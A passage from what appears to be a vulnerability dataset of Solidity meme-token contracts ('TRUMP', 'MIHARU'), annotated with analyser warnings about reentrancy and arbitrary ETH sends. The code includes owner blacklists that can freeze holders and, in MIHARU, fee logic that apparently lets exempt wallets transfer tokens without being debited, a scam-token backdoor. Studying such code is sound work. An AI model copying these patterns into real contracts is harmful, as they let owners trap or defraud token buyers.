_decimals;\n\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc1bda9): TRUMP._taxSwapThreshold should be constant \n\t// Recommendation for cc1bda9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d29f5b): TRUMP._maxTaxSwap should be constant \n\t// Recommendation for 0d29f5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1529117): TRUMP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1529117: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b58da40): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b58da40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 97fa92d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 97fa92d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b58da40\n\t\t// reentrancy-benign | ID: 97fa92d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b58da40\n\t\t// reentrancy-benign | ID: 97fa92d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af06e9a): TRUMP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af06e9a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 97fa92d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b58da40\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 480aedb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 480aedb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4761f1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4761f1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 480aedb\n\t\t\t\t// reentrancy-eth | ID: 4761f1d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 480aedb\n\t\t\t\t\t// reentrancy-eth | ID: 4761f1d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4761f1d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4761f1d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4761f1d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 480aedb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4761f1d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4761f1d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 480aedb\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b58da40\n\t\t// reentrancy-events | ID: 480aedb\n\t\t// reentrancy-benign | ID: 97fa92d\n\t\t// reentrancy-eth | ID: 4761f1d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 930e039): TRUMP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 930e039: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b58da40\n\t\t// reentrancy-events | ID: 480aedb\n\t\t// reentrancy-eth | ID: 4761f1d\n\t\t// arbitrary-send-eth | ID: 930e039\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bed929c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bed929c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 67516f9): TRUMP.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 67516f9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1657842): TRUMP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1657842: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c9868a5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c9868a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: bed929c\n\t\t// reentrancy-eth | ID: c9868a5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bed929c\n\t\t// unused-return | ID: 67516f9\n\t\t// reentrancy-eth | ID: c9868a5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bed929c\n\t\t// unused-return | ID: 1657842\n\t\t// reentrancy-eth | ID: c9868a5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bed929c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c9868a5\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1073.sol",
"size_bytes": 20142,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract MIHARU is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 972a021): MIHARU.routerAdress should be constant \n\t// Recommendation for 972a021: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 159aa82): MIHARU.DEAD should be constant \n\t// Recommendation for 159aa82: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string constant _name = \"MIHARU\";\n\n string constant _symbol = \"MIHARU\";\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 269f30e): MIHARU._totalSupply should be constant \n\t// Recommendation for 269f30e: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 10_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 070b27a): MIHARU._swapMIHARUThreshHold should be immutable \n\t// Recommendation for 070b27a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapMIHARUThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 05d37fb): MIHARU._maxTaxSwap should be immutable \n\t// Recommendation for 05d37fb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private MIHARUs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8298c13): MIHARU._MIHARUWallet should be immutable \n\t// Recommendation for 8298c13: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _MIHARUWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public MIHARUFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8df586d): MIHARU._initBuyTax should be constant \n\t// Recommendation for 8df586d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8f2e5f): MIHARU._initSellTax should be constant \n\t// Recommendation for d8f2e5f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7877e3f): MIHARU._reduceBuyTaxAt should be constant \n\t// Recommendation for 7877e3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 517ad97): MIHARU._reduceSellTaxAt should be constant \n\t// Recommendation for 517ad97: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6a4ad1c): MIHARU.constructor(address).MIHARUWallet lacks a zerocheck on \t _MIHARUWallet = MIHARUWallet\n\t// Recommendation for 6a4ad1c: Check that the address is not zero.\n constructor(address MIHARUWallet) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 6a4ad1c\n _MIHARUWallet = MIHARUWallet;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_MIHARUWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_MIHARUWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawMIHARUBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableMIHARUTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n MIHARUFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getMIHARUAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : MIHARUFeeEnabled\n ? takeMIHARUAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = MIHARUFeeEnabled && takeFee\n ? takeMIHARUAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 361bb24): MIHARU.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_MIHARUWallet).transfer(ethAmountFor)\n\t// Recommendation for 361bb24: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: eb465ff\n\t\t// reentrancy-eth | ID: d07d9e4\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: eb465ff\n\t\t// reentrancy-eth | ID: d07d9e4\n\t\t// arbitrary-send-eth | ID: 361bb24\n payable(_MIHARUWallet).transfer(ethAmountFor);\n }\n\n function removeMIHARULimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeMIHARUAmountAfterFees(\n uint MIHARUActions,\n bool MIHARUTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 MIHARUPercents;\n\n uint256 MIHARUFeePrDenominator = 100;\n\n if (MIHARUTakefee) {\n if (MIHARUActions > 1) {\n MIHARUPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (MIHARUActions > 0) {\n MIHARUPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n MIHARUPercents = 0;\n }\n }\n } else {\n MIHARUPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(MIHARUPercents).div(\n MIHARUFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: d07d9e4\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = MIHARUTakefee ? feeAmounts : amounts.div(MIHARUPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getMIHARUAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: d07d9e4\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: d07d9e4\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: eb465ff\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cb8cf78): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cb8cf78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d854fb2): MIHARU.createMIHARUTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for d854fb2: Ensure that all the return values of the function calls are used.\n function createMIHARUTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: cb8cf78\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cb8cf78\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: cb8cf78\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: d854fb2\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapMIHARUTokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minMIHARUTokens = pLimit;\n\n uint256 tokenMIHARUWeight = pAmount;\n\n uint256 contractMIHARUOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractMIHARUOverWeight > minMIHARUTokens &&\n tokenMIHARUWeight > minMIHARUTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c05fca7): MIHARU.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for c05fca7: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: c05fca7\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0e7e769): MIHARU.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 0e7e769: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 0e7e769\n _finalSellTax = _newFee;\n }\n\n function isMIHARUUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeMIHARUActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addMIHARUs(address[] memory MIHARUs_) public onlyOwner {\n for (uint i = 0; i < MIHARUs_.length; i++) {\n MIHARUs[MIHARUs_[i]] = true;\n }\n }\n\n function delMIHARUs(address[] memory notMIHARU) public onlyOwner {\n for (uint i = 0; i < notMIHARU.length; i++) {\n MIHARUs[notMIHARU[i]] = false;\n }\n }\n\n function isMIHARU(address a) public view returns (bool) {\n return MIHARUs[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eb465ff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eb465ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d07d9e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d07d9e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!MIHARUs[sender] && !MIHARUs[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, 